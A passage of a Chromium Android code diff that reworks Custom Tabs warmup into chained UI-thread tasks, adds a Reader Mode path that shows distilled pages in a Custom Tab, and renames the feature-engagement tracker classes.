+                @Override
+                public void run() {
+                    TraceEvent.begin("WarmupInternalFinishInitialization");
+                    // (4)
+                    Profile profile = Profile.getLastUsedProfile();
+                    new LoadingPredictor(profile).startInitialization();
+
+                    // (5)
+                    // The throttling database uses shared preferences, that can cause a
+                    // StrictMode violation on the first access. Make sure that this access is
+                    // not in mayLauchUrl.
+                    RequestThrottler.loadInBackground(mContext);
+                    TraceEvent.end("WarmupInternalFinishInitialization");
+                }
+            });
+        }
+        if (mWarmupFinishedCallback != null) mWarmupTasks.add(mWarmupFinishedCallback);
+
+        mWarmupTasks.start(false);
         return true;
     }
 
+    /** Sets a callback to be notified of the completion of all the warmup() tasks. */
+    @VisibleForTesting
+    void setWarmupCompletedCallbackForTesting(Runnable cb) {
+        mWarmupFinishedCallback = cb;
+    }
+
     /** @return the URL or null if it's invalid. */
     private boolean isValid(Uri uri) {
         if (uri == null) return false;
@@ -737,9 +776,12 @@
      * @param intent incoming intent.
      */
     void onHandledIntent(CustomTabsSessionToken session, String url, Intent intent) {
+        // If we still have pending warmup tasks, don't continue as they would only delay intent
+        // processing from now on.
+        if (mWarmupTasks != null) mWarmupTasks.cancel();
+
         // For the preconnection to not be a no-op, we need more than just the native library.
-        Context context = ContextUtils.getApplicationContext();
-        if (!ChromeBrowserInitializer.getInstance(context).hasNativeInitializationCompleted()) {
+        if (!ChromeBrowserInitializer.getInstance(mContext).hasNativeInitializationCompleted()) {
             return;
         }
         if (!ChromeFeatureList.isEnabled(ChromeFeatureList.CCT_REDIRECT_PRECONNECT)) return;
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/document/ChromeLauncherActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/document/ChromeLauncherActivity.java
index 0128408..2618694 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/document/ChromeLauncherActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/document/ChromeLauncherActivity.java
@@ -38,6 +38,7 @@
 import org.chromium.chrome.browser.customtabs.CustomTabActivity;
 import org.chromium.chrome.browser.customtabs.CustomTabIntentDataProvider;
 import org.chromium.chrome.browser.customtabs.SeparateTaskCustomTabActivity;
+import org.chromium.chrome.browser.dom_distiller.ReaderModeManager;
 import org.chromium.chrome.browser.firstrun.FirstRunFlowSequencer;
 import org.chromium.chrome.browser.instantapps.InstantAppsHandler;
 import org.chromium.chrome.browser.metrics.MediaNotificationUma;
@@ -281,6 +282,11 @@
             return false;
         }
 
+        // Don't reroute intents created by Reader Mode.
+        if (ReaderModeManager.isReaderModeCreatedIntent(intent)) {
+            return false;
+        }
+
         return true;
     }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/DomDistillerTabUtils.java b/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/DomDistillerTabUtils.java
index 58e4ac9..04ad8ec 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/DomDistillerTabUtils.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/DomDistillerTabUtils.java
@@ -5,6 +5,8 @@
 package org.chromium.chrome.browser.dom_distiller;
 
 import org.chromium.base.annotations.JNINamespace;
+import org.chromium.chrome.browser.ChromeFeatureList;
+import org.chromium.components.navigation_interception.InterceptNavigationDelegate;
 import org.chromium.content_public.browser.WebContents;
 
 /**
@@ -28,7 +30,17 @@
     }
 
     /**
-     * Starts distillation in the source @{link WebContents} while navigating the destination
+     * Starts distillation in the source {@link WebContents}. The viewer needs to be handled
+     * elsewhere.
+     *
+     * @param webContents the WebContents to distill.
+     */
+    public static void distillCurrentPage(WebContents webContents) {
+        nativeDistillCurrentPage(webContents);
+    }
+
+    /**
+     * Starts distillation in the source {@link WebContents} while navigating the destination
      * {@link WebContents} to view the distilled content. This does not take ownership of any
      * of the WebContents.
      *
@@ -39,6 +51,7 @@
             WebContents sourceWebContents, WebContents destinationWebContents) {
         nativeDistillAndView(sourceWebContents, destinationWebContents);
     }
+
     /**
      * Returns the formatted version of the original URL of a distillation, given the original URL.
      *
@@ -68,11 +81,33 @@
         return nativeIsHeuristicAlwaysTrue();
     }
 
+    /**
+     * Check if the distilled content should be shown in a Chrome Custom Tab (CCT).
+     *
+     * @return True if it should.
+     */
+    public static boolean isCctMode() {
+        if (!ChromeFeatureList.isInitialized()) return false;
+        return ChromeFeatureList.isEnabled(ChromeFeatureList.READER_MODE_IN_CCT);
+    }
+
+    /**
+     * Set an InterceptNavigationDelegate on a WebContents.
+     * @param delegate The navigation delegate.
+     * @param webContents The WebContents to bind the delegate to.
+     */
+    public static void setInterceptNavigationDelegate(
+            InterceptNavigationDelegate delegate, WebContents webContents) {
+        nativeSetInterceptNavigationDelegate(delegate, webContents);
+    }
 
     private static native void nativeDistillCurrentPageAndView(WebContents webContents);
+    private static native void nativeDistillCurrentPage(WebContents webContents);
     private static native void nativeDistillAndView(
             WebContents sourceWebContents, WebContents destinationWebContents);
     private static native String nativeGetFormattedUrlFromOriginalDistillerUrl(String url);
     private static native boolean nativeIsDistillerHeuristicsEnabled();
     private static native boolean nativeIsHeuristicAlwaysTrue();
+    private static native void nativeSetInterceptNavigationDelegate(
+            InterceptNavigationDelegate delegate, WebContents webContents);
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/ReaderModeManager.java b/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/ReaderModeManager.java
index 8288d30..c8115175 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/ReaderModeManager.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/dom_distiller/ReaderModeManager.java
@@ -5,20 +5,31 @@
 package org.chromium.chrome.browser.dom_distiller;
 
 import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.support.annotation.NonNull;
+import android.support.customtabs.CustomTabsIntent;
 import android.text.TextUtils;
 
 import org.chromium.base.CommandLine;
+import org.chromium.base.SysUtils;
 import org.chromium.base.metrics.RecordHistogram;
 import org.chromium.chrome.browser.ChromeActivity;
 import org.chromium.chrome.browser.ChromeSwitches;
 import org.chromium.chrome.browser.compositor.bottombar.OverlayPanel.StateChangeReason;
+import org.chromium.chrome.browser.customtabs.CustomTabActivity;
+import org.chromium.chrome.browser.document.ChromeLauncherActivity;
 import org.chromium.chrome.browser.infobar.ReaderModeInfoBar;
 import org.chromium.chrome.browser.tab.Tab;
 import org.chromium.chrome.browser.tabmodel.TabModelSelector;
 import org.chromium.chrome.browser.tabmodel.TabModelSelectorTabObserver;
-import org.chromium.chrome.browser.util.AccessibilityUtil;
+import org.chromium.chrome.browser.util.IntentUtils;
 import org.chromium.components.dom_distiller.content.DistillablePageUtils;
 import org.chromium.components.dom_distiller.core.DomDistillerUrlUtils;
+import org.chromium.components.navigation_interception.InterceptNavigationDelegate;
+import org.chromium.components.navigation_interception.NavigationParams;
+import org.chromium.content.browser.ContentViewCore;
+import org.chromium.content_public.browser.LoadUrlParams;
 import org.chromium.content_public.browser.NavigationController;
 import org.chromium.content_public.browser.NavigationEntry;
 import org.chromium.content_public.browser.WebContents;
@@ -44,6 +55,13 @@
     /** STARTED means reader mode is currently in reader mode. */
     public static final int STARTED = 2;
 
+    /** The scheme used to access DOM-Distiller. */
+    public static final String DOM_DISTILLER_SCHEME = "chrome-distiller";
+
+    /** The intent extra that indicates origin from Reader Mode */
+    public static final String EXTRA_READER_MODE_PARENT =
+            "org.chromium.chrome.browser.dom_distiller.EXTRA_READER_MODE_PARENT";
+
     /** The url of the last page visited if the last page was reader mode page.  Otherwise null. */
     private String mReaderModePageUrl;
 
@@ -62,6 +80,9 @@
     /** If Reader Mode is detecting all pages as distillable. */
     private boolean mIsReaderHeuristicAlwaysTrue;
 
+    // Hold on to the InterceptNavigationDelegate that the custom tab uses.
+    InterceptNavigationDelegate mCustomTabNavigationDelegate;
+
     public ReaderModeManager(TabModelSelector selector, ChromeActivity activity) {
         super(selector);
         mTabModelSelector = selector;
@@ -100,6 +121,43 @@
     // TabModelSelectorTabObserver:
 
     @Override
+    public void onLoadUrl(Tab tab, LoadUrlParams params, int loadType) {
+        // If a distiller URL was loaded and this is a custom tab, add a navigation
+        // handler to bring any navigations back to the main chrome activity.
+        if (tab == null || !mChromeActivity.isCustomTab()
+                || !DomDistillerUrlUtils.isDistilledPage(params.getUrl())) {
+            return;
+        }
+
+        ContentViewCore cvc = tab.getContentViewCore();
+        if (cvc == null) return;
+
+        mCustomTabNavigationDelegate = new InterceptNavigationDelegate() {
+            @Override
+            public boolean shouldIgnoreNavigation(NavigationParams params) {
+                if (DomDistillerUrlUtils.isDistilledPage(params.url) || params.isExternalProtocol) {
+                    return false;
+                }
+
+                Intent returnIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(params.url));
+                returnIntent.setClassName(mChromeActivity, ChromeLauncherActivity.class.getName());
+
+                // Set the parent ID of the tab to be created.
+                returnIntent.putExtra(EXTRA_READER_MODE_PARENT,
+                        IntentUtils.safeGetInt(mChromeActivity.getIntent().getExtras(),
+                                EXTRA_READER_MODE_PARENT, Tab.INVALID_TAB_ID));
+
+                mChromeActivity.startActivity(returnIntent);
+                mChromeActivity.finish();
+                return true;
+            }
+        };
+
+        DomDistillerTabUtils.setInterceptNavigationDelegate(
+                mCustomTabNavigationDelegate, cvc.getWebContents());
+    }
+
+    @Override
     public void onShown(Tab shownTab) {
         if (mTabModelSelector == null) return;
 
@@ -373,20 +431,27 @@
 
         if (!mTabStatusMap.containsKey(currentTabId) || usingRequestDesktopSite
                 || mTabStatusMap.get(currentTabId).getStatus() != POSSIBLE
-                || mTabStatusMap.get(currentTabId).isDismissed()
-                || AccessibilityUtil.isAccessibilityEnabled()) {
+                || mTabStatusMap.get(currentTabId).isDismissed()) {
             return;
         }
 
         ReaderModeInfoBar.showReaderModeInfoBar(mTabModelSelector.getCurrentTab());
     }
 
+    public void activateReaderMode() {
+        RecordHistogram.recordBooleanHistogram("DomDistiller.InfoBarUsage", true);
+
+        if (DomDistillerTabUtils.isCctMode() && !SysUtils.isLowEndDevice()) {
+            distillInCustomTab();
+        } else {
+            navigateToReaderMode();
+        }
+    }
+
     /**
      * Navigate the current tab to a Reader Mode URL.
      */
-    public void navigateToReaderMode() {
-        RecordHistogram.recordBooleanHistogram("DomDistiller.InfoBarUsage", true);
-
+    private void navigateToReaderMode() {
         WebContents baseWebContents = getBasePageWebContents();
         if (baseWebContents == null || mChromeActivity == null || mTabModelSelector == null) return;
 
@@ -401,6 +466,33 @@
         DomDistillerTabUtils.distillCurrentPageAndView(getBasePageWebContents());
     }
 
+    private void distillInCustomTab() {
+        WebContents baseWebContents = getBasePageWebContents();
+        if (baseWebContents == null || mChromeActivity == null || mTabModelSelector == null) return;
+
+        String url = baseWebContents.getLastCommittedUrl();
+        if (url == null) return;
+
+        ReaderModeTabInfo info = mTabStatusMap.get(mTabModelSelector.getCurrentTabId());
+        if (info != null) info.onStartedReaderMode();
+
+        DomDistillerTabUtils.distillCurrentPage(baseWebContents);
+
+        String distillerUrl =
+                DomDistillerUrlUtils.getDistillerViewUrlFromUrl(DOM_DISTILLER_SCHEME, url);
+
+        CustomTabsIntent.Builder builder = new CustomTabsIntent.Builder();
+        builder.setShowTitle(true);
+        CustomTabsIntent customTabsIntent = builder.build();
+        customTabsIntent.intent.setClassName(mChromeActivity, CustomTabActivity.class.getName());
+
+        // Add the parent ID as an intent extra for back button functionality.
+        customTabsIntent.intent.putExtra(
+                EXTRA_READER_MODE_PARENT, mTabModelSelector.getCurrentTabId());
+
+        customTabsIntent.launchUrl(mChromeActivity, Uri.parse(distillerUrl));
+    }
+
     /**
      * Set the callback for updating reader mode status based on whether or not the page should
      * be viewed in reader mode.
@@ -469,4 +561,15 @@
                 && DomDistillerTabUtils.isDistillerHeuristicsEnabled();
         return enabled;
     }
+
+    /**
+     * Determine if Reader Mode created the intent for a tab being created.
+     * @param intent The Intent creating a new tab.
+     * @return True whether the intent was created by Reader Mode.
+     */
+    public static boolean isReaderModeCreatedIntent(@NonNull Intent intent) {
+        int readerParentId = IntentUtils.safeGetInt(
+                intent.getExtras(), ReaderModeManager.EXTRA_READER_MODE_PARENT, Tab.INVALID_TAB_ID);
+        return readerParentId != Tab.INVALID_TAB_ID;
+    }
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadManagerService.java b/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadManagerService.java
index cb8ae58..e684045 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadManagerService.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadManagerService.java
@@ -33,10 +33,10 @@
 import org.chromium.chrome.browser.download.ui.BackendProvider;
 import org.chromium.chrome.browser.download.ui.DownloadHistoryAdapter;
 import org.chromium.chrome.browser.externalnav.ExternalNavigationDelegateImpl;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.profiles.Profile;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.components.offline_items_collection.ContentId;
 import org.chromium.components.offline_items_collection.LegacyHelpers;
 import org.chromium.net.ConnectionType;
@@ -1035,8 +1035,7 @@
         Profile profile = info.isOffTheRecord()
                 ? Profile.getLastUsedProfile().getOffTheRecordProfile()
                 : Profile.getLastUsedProfile().getOriginalProfile();
-        FeatureEngagementTracker tracker =
-                FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(profile);
+        Tracker tracker = TrackerFactory.getTrackerForProfile(profile);
         tracker.notifyEvent(EventConstants.DOWNLOAD_COMPLETED);
     }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadUtils.java b/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadUtils.java
index 13ebec52..da6478dc 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadUtils.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/download/DownloadUtils.java
@@ -42,7 +42,7 @@
 import org.chromium.chrome.browser.download.ui.BackendProvider.DownloadDelegate;
 import org.chromium.chrome.browser.download.ui.DownloadFilter;
 import org.chromium.chrome.browser.download.ui.DownloadHistoryItemWrapper;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.offlinepages.DownloadUiActionFlags;
 import org.chromium.chrome.browser.offlinepages.OfflinePageBridge;
 import org.chromium.chrome.browser.offlinepages.OfflinePageUtils;
@@ -53,8 +53,8 @@
 import org.chromium.chrome.browser.tabmodel.document.TabDelegate;
 import org.chromium.chrome.browser.util.ConversionUtils;
 import org.chromium.chrome.browser.util.IntentUtils;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.components.offline_items_collection.OfflineItem.Progress;
 import org.chromium.components.offline_items_collection.OfflineItemProgressUnit;
 import org.chromium.content.browser.BrowserStartupController;
@@ -173,8 +173,7 @@
         if (BrowserStartupController.get(LibraryProcessType.PROCESS_BROWSER)
                         .isStartupSuccessfullyCompleted()) {
             Profile profile = (tab == null ? Profile.getLastUsedProfile() : tab.getProfile());
-            FeatureEngagementTracker tracker =
-                    FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(profile);
+            Tracker tracker = TrackerFactory.getTrackerForProfile(profile);
             tracker.notifyEvent(EventConstants.DOWNLOAD_HOME_OPENED);
         }
 
@@ -246,9 +245,7 @@
             DownloadUtils.recordDownloadPageMetrics(tab);
         }
 
-        FeatureEngagementTracker tracker =
-                FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                        tab.getProfile());
+        Tracker tracker = TrackerFactory.getTrackerForProfile(tab.getProfile());
         tracker.notifyEvent(EventConstants.DOWNLOAD_PAGE_STARTED);
     }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/OWNERS b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/OWNERS
new file mode 100644
index 0000000..46eae34
--- /dev/null
+++ b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/OWNERS
@@ -0,0 +1 @@
+file://components/feature_engagement/OWNERS
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitor.java b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitor.java
similarity index 98%
rename from chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitor.java
rename to chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitor.java
index 3525656..1c8c479 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitor.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitor.java
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.chrome.browser.feature_engagement_tracker;
+package org.chromium.chrome.browser.feature_engagement;
 
 import android.os.Environment;
 import android.os.FileObserver;
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorDelegate.java b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorDelegate.java
similarity index 82%
rename from chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorDelegate.java
rename to chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorDelegate.java
index c8432c0..b2a50925 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorDelegate.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorDelegate.java
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.chrome.browser.feature_engagement_tracker;
+package org.chromium.chrome.browser.feature_engagement;
 
 /**
  * This class serves as a callback from ScreenshotMonitor.
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/TrackerFactory.java b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/TrackerFactory.java
new file mode 100644
index 0000000..238f3b2
--- /dev/null
+++ b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement/TrackerFactory.java
@@ -0,0 +1,29 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.feature_engagement;
+
+import org.chromium.chrome.browser.profiles.Profile;
+import org.chromium.components.feature_engagement.Tracker;
+
+/**
+ * This factory creates Tracker for the given {@link Profile}.
+ */
+public final class TrackerFactory {
+    // Don't instantiate me.
+    private TrackerFactory() {}
+
+    /**
+     * A factory method to build a {@link Tracker} object. Each Profile only ever
+     * has a single {@link Tracker}, so the first this method is called (or from
+     * native), the {@link Tracker} will be created, and later calls will return
+     * the already created instance.
+     * @return The {@link Tracker} for the given profile object.
+     */
+    public static Tracker getTrackerForProfile(Profile profile) {
+        return nativeGetTrackerForProfile(profile);
+    }
+
+    private static native Tracker nativeGetTrackerForProfile(Profile profile);
+}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/FeatureEngagementTrackerFactory.java b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/FeatureEngagementTrackerFactory.java
deleted file mode 100644
index be39e33..0000000
--- a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/FeatureEngagementTrackerFactory.java
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-package org.chromium.chrome.browser.feature_engagement_tracker;
-
-import org.chromium.chrome.browser.profiles.Profile;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
-
-/**
- * This factory creates FeatureEngagementTracker for the given {@link Profile}.
- */
-public final class FeatureEngagementTrackerFactory {
-    // Don't instantiate me.
-    private FeatureEngagementTrackerFactory() {}
-
-    /**
-     * A factory method to build a {@link FeatureEngagementTracker} object. Each Profile only ever
-     * has a single {@link FeatureEngagementTracker}, so the first this method is called (or from
-     * native), the {@link FeatureEngagementTracker} will be created, and later calls will return
-     * the already created instance.
-     * @return The {@link FeatureEngagementTracker} for the given profile object.
-     */
-    public static FeatureEngagementTracker getFeatureEngagementTrackerForProfile(Profile profile) {
-        return nativeGetFeatureEngagementTrackerForProfile(profile);
-    }
-
-    private static native FeatureEngagementTracker nativeGetFeatureEngagementTrackerForProfile(
-            Profile profile);
-}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/OWNERS b/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/OWNERS
deleted file mode 100644
index 6e8337d..0000000
--- a/chrome/android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-file://components/feature_engagement_tracker/OWNERS
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/feedback/ScreenshotTask.java b/chrome/android/java/src/org/chromium/chrome/browser/feedback/ScreenshotTask.java
index 08be00a..10fd8e0 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/feedback/ScreenshotTask.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/feedback/ScreenshotTask.java
@@ -13,6 +13,7 @@
 import org.chromium.base.annotations.CalledByNative;
 import org.chromium.base.annotations.JNINamespace;
 import org.chromium.chrome.browser.ChromeActivity;
+import org.chromium.chrome.browser.tab.Tab;
 import org.chromium.ui.UiUtils;
 import org.chromium.ui.base.WindowAndroid;
 
@@ -48,11 +49,14 @@
      */
     public static void create(Activity activity, final ScreenshotTaskCallback callback) {
         if (activity instanceof ChromeActivity) {
-            Rect rect = new Rect();
-            activity.getWindow().getDecorView().getRootView().getWindowVisibleDisplayFrame(rect);
-            createCompositorScreenshot(((ChromeActivity) activity).getWindowAndroid(), rect,
-                    callback);
-            return;
+            ChromeActivity chromeActivity = (ChromeActivity) activity;
+            if (shouldTakeCompositorScreenshot(chromeActivity)) {
+                Rect rect = new Rect();
+                activity.getWindow().getDecorView().getRootView().getWindowVisibleDisplayFrame(
+                        rect);
+                createCompositorScreenshot(chromeActivity.getWindowAndroid(), rect, callback);
+                return;
+            }
         }
 
         final Bitmap bitmap = prepareScreenshot(activity, null);
@@ -64,6 +68,21 @@
         });
     }
 
+    private static boolean shouldTakeCompositorScreenshot(ChromeActivity activity) {
+        Tab currentTab = activity.getActivityTab();
+        // If the tab is null, assume in the tab switcher so a Compositor snapshot is good.
+        if (currentTab == null) return true;
+        // If the tab is not interactable, also assume in the tab switcher.
+        if (!currentTab.isUserInteractable()) return true;
+        // If the tab focused and not showing Android widget based content, then use the Compositor
+        // based screenshot.
+        if (currentTab.getNativePage() == null && !currentTab.isShowingSadTab()) return true;
+
+        // Assume the UI is drawn primarily by Android widgets, so do not use the Compositor
+        // screenshot.
+        return false;
+    }
+
     /**
      * A callback passed to the native snapshot API which returns the result in PNG format.
      */
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/infobar/IPHInfoBarSupport.java b/chrome/android/java/src/org/chromium/chrome/browser/infobar/IPHInfoBarSupport.java
index ad808c25a..16da9668 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/infobar/IPHInfoBarSupport.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/infobar/IPHInfoBarSupport.java
@@ -11,15 +11,15 @@
 
 import org.chromium.base.annotations.SuppressFBWarnings;
 import org.chromium.chrome.R;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.infobar.InfoBarContainer.InfoBarContainerObserver;
 import org.chromium.chrome.browser.infobar.InfoBarContainerLayout.Item;
 import org.chromium.chrome.browser.profiles.Profile;
 import org.chromium.chrome.browser.widget.textbubble.TextBubble;
 import org.chromium.chrome.browser.widget.textbubble.ViewAnchoredTextBubble;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.FeatureConstants;
+import org.chromium.components.feature_engagement.Tracker;
 
 /**
  * A helper class to managing showing and dismissing in-product help dialogs based on which infobar
@@ -30,7 +30,7 @@
 class IPHInfoBarSupport implements OnDismissListener, InfoBarContainer.InfoBarAnimationListener,
                                    InfoBarContainerObserver {
     private final Context mContext;
-    private final FeatureEngagementTracker mTracker;
+    private final Tracker mTracker;
 
     /** Helper class to hold all relevant display parameters for an in-product help window. */
     private static class TrackerParameters {
@@ -70,7 +70,7 @@
     IPHInfoBarSupport(Context context) {
         mContext = context;
         Profile profile = Profile.getLastUsedProfile();
-        mTracker = FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(profile);
+        mTracker = TrackerFactory.getTrackerForProfile(profile);
     }
 
     // InfoBarContainer.InfoBarAnimationListener implementation.
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/infobar/ReaderModeInfoBar.java b/chrome/android/java/src/org/chromium/chrome/browser/infobar/ReaderModeInfoBar.java
index eb637d5..3167998 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/infobar/ReaderModeInfoBar.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/infobar/ReaderModeInfoBar.java
@@ -31,7 +31,7 @@
     private View.OnClickListener mNavigateListener = new View.OnClickListener() {
         @Override
         public void onClick(View v) {
-            if (getReaderModeManager() != null) getReaderModeManager().navigateToReaderMode();
+            if (getReaderModeManager() != null) getReaderModeManager().activateReaderMode();
         }
     };
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/init/ChainedTasks.java b/chrome/android/java/src/org/chromium/chrome/browser/init/ChainedTasks.java
new file mode 100644
index 0000000..c2614cc
--- /dev/null
+++ b/chrome/android/java/src/org/chromium/chrome/browser/init/ChainedTasks.java
@@ -0,0 +1,74 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.init;
+
+import org.chromium.base.ThreadUtils;
+
+import java.util.LinkedList;
+
+/**
+ * Allows to chain multiple tasks on the UI thread, with the next task posted when one completes.
+ *
+ * Threading:
+ * - Can construct and call {@link add()} on any thread. Note that this is not synchronized.
+ * - Can call {@link start()} on any thread, blocks if called from the UI thread and coalesceTasks
+ *   is true.
+ * - {@link cancel()} must be called from the UI thread.
+ */
+public class ChainedTasks {
+    private LinkedList<Runnable> mTasks = new LinkedList<>();
+    private volatile boolean mFinalized;
+
+    private final Runnable mRunAndPost = new Runnable() {
+        @Override
+        public void run() {
+            if (mTasks.isEmpty()) return;
+            mTasks.pop().run();
+            ThreadUtils.postOnUiThread(this);
+        }
+    };
+
+    /**
+     * Adds a task to the list of tasks to run. Cannot be called once {@link start()} has been
+     * called.
+     */
+    public void add(Runnable task) {
+        if (mFinalized) throw new IllegalStateException("Must not call add() after start()");
+        mTasks.add(task);
+    }
+
+    /**
+     * Cancels the remaining tasks. Must be called from the UI thread.
+     */
+    public void cancel() {
+        if (!ThreadUtils.runningOnUiThread()) {
+            throw new IllegalStateException("Must call cancel() from the UI thread.");
+        }
+        mFinalized = true;
+        mTasks.clear();
+    }
+
+    /**
+     * Posts or runs all the tasks, one by one.
+     *
+     * @param coalesceTasks if false, posts the tasks. Otherwise run them in a single task. If
+     * called on the UI thread, run in the current task.
+     */
+    public void start(final boolean coalesceTasks) {
+        if (mFinalized) throw new IllegalStateException("Cannot call start() several times");
+        mFinalized = true;
+        if (coalesceTasks) {
+            ThreadUtils.runOnUiThread(new Runnable() {
+                @Override
+                public void run() {
+                    for (Runnable task : mTasks) task.run();
+                    mTasks.clear();
+                }
+            });
+        } else {
+            ThreadUtils.postOnUiThread(mRunAndPost);
+        }
+    }
+}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/init/ChromeBrowserInitializer.java b/chrome/android/java/src/org/chromium/chrome/browser/init/ChromeBrowserInitializer.java
index dbb3204..503d698 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/init/ChromeBrowserInitializer.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/init/ChromeBrowserInitializer.java
@@ -53,7 +53,6 @@
 import org.chromium.ui.base.DeviceFormFactor;
 
 import java.io.File;
-import java.util.LinkedList;
 import java.util.Locale;
 
 /**
@@ -251,45 +250,24 @@
     public void handlePostNativeStartup(final boolean isAsync, final BrowserParts delegate)
             throws ProcessInitException {
         assert ThreadUtils.runningOnUiThread() : "Tried to start the browser on the wrong thread";
-
-        final LinkedList<Runnable> initQueue = new LinkedList<>();
-
-        abstract class NativeInitTask implements Runnable {
+        final ChainedTasks tasks = new ChainedTasks();
+        tasks.add(new Runnable() {
             @Override
-            public final void run() {
-                // Run the current task then put a request for the next one onto the
-                // back of the UI message queue. This lets Chrome handle input events
-                // between tasks.
-                initFunction();
-                if (!initQueue.isEmpty()) {
-                    Runnable nextTask = initQueue.pop();
-                    if (isAsync) {
-                        mHandler.post(nextTask);
-                    } else {
-                        nextTask.run();
-                    }
-                }
-            }
-            public abstract void initFunction();
-        }
-
